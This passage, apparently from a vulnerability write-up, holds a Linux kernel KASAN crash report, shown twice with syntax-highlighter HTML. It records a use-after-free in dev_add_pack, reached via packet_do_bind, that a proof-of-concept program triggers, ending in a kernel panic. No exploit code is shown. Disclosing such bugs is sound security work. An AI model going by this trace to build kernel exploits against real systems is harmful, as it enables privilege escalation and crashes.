123.800005]  register_prot_hook.part.50+0x81\/0xa0  [  123.800464]  packet_do_bind+0x52e\/0xda0  [  123.802584]  packet_bind+0x117\/0x190  [  123.803035]  SYSC_bind+0x1bd\/0x490  [  123.818401]  SyS_bind+0xe\/0x10  [  123.818762]  entry_SYSCALL_64_fastpath+0x24\/0xab  [  123.819299] RIP: 0033:0x450a67  [  123.819658] RSP: 002b:00007fa6e7976d28 EFLAGS: 00000217 ORIG_RAX: 0000000000000031  [  123.820571] RAX: ffffffffffffffda RBX: 00007fa6e7977700 RCX: 0000000000450a67  [  123.821414] RDX: 0000000000000014 RSI: 00007fa6e7976d50 RDI: 0000000000000014  [  123.822258] RBP: 00007ffd83198af0 R08: 00007fa6e7977700 R09: 00007fa6e7977700  [  123.823108] R10: 00007fa6e79779d0 R11: 0000000000000217 R12: 00007ffd83198aee  [  123.823953] R13: 00007ffd83198aef R14: 00007fa6e7977700 R15: 000000000000000f  [  123.824811]   [  123.824996] Allocated by task 234:  [  123.825407]  save_stack_trace+0x1b\/0x20  [  123.825875]  save_stack+0x43\/0xd0  [  123.826203]  kasan_kmalloc+0xad\/0xe0  [  123.826542]  __kmalloc+0x105\/0x230  [  123.826952]  sk_prot_alloc+0xe2\/0x260  [  123.827390]  sk_alloc+0x110\/0xeb0  [  123.827822]  packet_create+0x160\/0xb80  [  123.828309]  __sock_create+0x2c3\/0x6b0  [  123.828806]  SyS_socket+0xe3\/0x220  [  123.829219]  entry_SYSCALL_64_fastpath+0x24\/0xab  [  123.829773]   [  123.829960] Freed by task 234:  [  123.830333]  save_stack_trace+0x1b\/0x20  [  123.830838]  save_stack+0x43\/0xd0  [  123.831284]  kasan_slab_free+0x72\/0xc0  [  123.831779]  kfree+0x94\/0x1a0  [  123.832181]  __sk_destruct+0x594\/0x820  [  123.832711]  sk_destruct+0x3f\/0x60  [  123.833170]  __sk_free+0x54\/0x200  [  123.833618]  sk_free+0x19\/0x20  [  123.834031]  packet_release+0x79b\/0xd00  [  123.834539]  sock_release+0x8d\/0x1c0  [  123.834976]  sock_close+0x12\/0x20  [  123.835436]  __fput+0x309\/0x910  [  123.835874]  ____fput+0xe\/0x10  [  123.836353]  task_work_run+0x153\/0x230  [  123.836919]  exit_to_usermode_loop+0x1e6\/0x230  [  123.837475]  syscall_return_slowpath+0x270\/0x300  [  123.838107]  entry_SYSCALL_64_fastpath+0xa9\/0xab  [  123.838702]   [  123.838908] The buggy address belongs to the object at ffff88005c67ee80  [  123.838908]  which belongs to the cache kmalloc-2048 of size 2048  [  123.840392] The buggy address is located 1328 bytes inside of  [  123.840392]  2048-byte region [ffff88005c67ee80, ffff88005c67f680)  [  123.841377] The buggy address belongs to the page:  [  123.841783] page:ffffea0001719e00 count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount: 0  [  123.842832] flags: 0xfffffc0008100(slab|head)  [  123.843292] raw: 000fffffc0008100 0000000000000000 0000000000000000 00000001000f000f  [  123.843979] raw: dead000000000100 dead000000000200 ffff880060802a80 0000000000000000  [  123.844758] page dumped because: kasan: bad access detected  [  123.845313]   [  123.845469] Memory state around the buggy address:  [  123.845948]  ffff88005c67f280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  [  123.846663]  ffff88005c67f300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  [  123.847362] &gt;ffff88005c67f380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  [  123.848078]                                      ^  [  123.848561]  ffff88005c67f400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  [  123.849275]  ffff88005c67f480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  [  123.849988] ==================================================================  [  123.850701] Disabling lock debugging due to kernel taint  [  123.851280] Kernel panic &#8211; not syncing: panic_on_warn set &#8230;  [  123.851280]   [  123.852134] CPU: 0 PID: 225 Comm: poc Tainted: G    B           4.13.13+ #3  [  123.852974] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04\/01\/2014  [  123.854044] Call Trace:  [  123.854352]  dump_stack+0xb8\/0x152  [  123.857454]  panic+0x199\/0x329  [  123.858279]  kasan_end_report+0x43\/0x50  [  123.858742]  kasan_report+0x16c\/0x360  [  123.859695]  __asan_report_store8_noabort+0x1c\/0x20  [  123.860313]  dev_add_pack+0x240\/0x2d0  [  123.861305]  register_prot_hook.part.50+0x81\/0xa0  [  123.861688]  packet_do_bind+0x52e\/0xda0  [  123.863094]  packet_bind+0x117\/0x190  [  123.863433]  SYSC_bind+0x1bd\/0x490  [  123.874596]  SyS_bind+0xe\/0x10  [  123.874858]  entry_SYSCALL_64_fastpath+0x24\/0xab  [  123.875242] RIP: 0033:0x450a67  [  123.875500] RSP: 002b:00007fa6e7976d28 EFLAGS: 00000217 ORIG_RAX: 0000000000000031  [  123.876209] RAX: ffffffffffffffda RBX: 00007fa6e7977700 RCX: 0000000000450a67  [  123.876985] RDX: 0000000000000014 RSI: 00007fa6e7976d50 RDI: 0000000000000014  [  123.877819] RBP: 00007ffd83198af0 R08: 00007fa6e7977700 R09: 00007fa6e7977700  [  123.878695] R10: 00007fa6e79779d0 R11: 0000000000000217 R12: 00007ffd83198aee  [  123.879546] R13: 00007ffd83198aef R14: 00007fa6e7977700 R15: 000000000000000f  [  123.880562] Kernel Offset: 0x32a00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)  [  123.881832] Rebooting in 1 seconds..<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df5440a697334798-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df5440a697334798-102\">102<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-1\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.793289<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">BUG<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">KASAN<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">use<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">after<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">free <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">dev_add_pack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x240<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x2d0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-2\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.793858<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Write <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-i\">size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-e\">addr <\/span><span class=\"crayon-e\">ffff88005c67f3b0 <\/span><span class=\"crayon-e\">by <\/span><span class=\"crayon-e\">task <\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">225<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-3\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.794414<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-4\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.794609<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CPU<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PID<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">225<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Comm<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">poc <\/span><span class=\"crayon-st\">Not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">tainted<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4.13.13<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#3<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-5\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.795111<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Hardware <\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">QEMU <\/span><span class=\"crayon-e\">Standard <\/span><span class=\"crayon-e\">PC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">i440FX<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PIIX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1996<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">BIOS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1.10.2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1ubuntu1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">01<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2014<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-6\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.795876<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Call <\/span><span class=\"crayon-v\">Trace<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-7\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.796099<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dump_stack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xb8<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x152<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-8\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.797103<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">print_address_description<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x6f<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x270<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-9\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.797560<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">kasan_report<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x275<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x360<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-10\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.798327<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__asan_report_store8_noabort<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1c<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-11\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.798828<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dev_add_pack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x240<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x2d0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-12\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.800005<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">register_prot_hook<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">50<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x81<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xa0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-13\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.800464<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">packet_do_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x52e<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xda0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-14\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.802584<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">packet_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x117<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x190<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-15\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.803035<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SYSC_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1bd<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x490<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-16\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.818401<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SyS_bind<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x10<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-17\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.818762<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">entry_SYSCALL_64_fastpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x24<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xab<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-18\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.819299<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RIP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0033<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">0x450a67<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-19\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.819658<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RSP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">00007fa6e7976d28<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">EFLAGS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000217<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ORIG_RAX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000031<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-20\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.820571<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RAX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffffffffffda <\/span><span class=\"crayon-v\">RBX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RCX<\/span><span 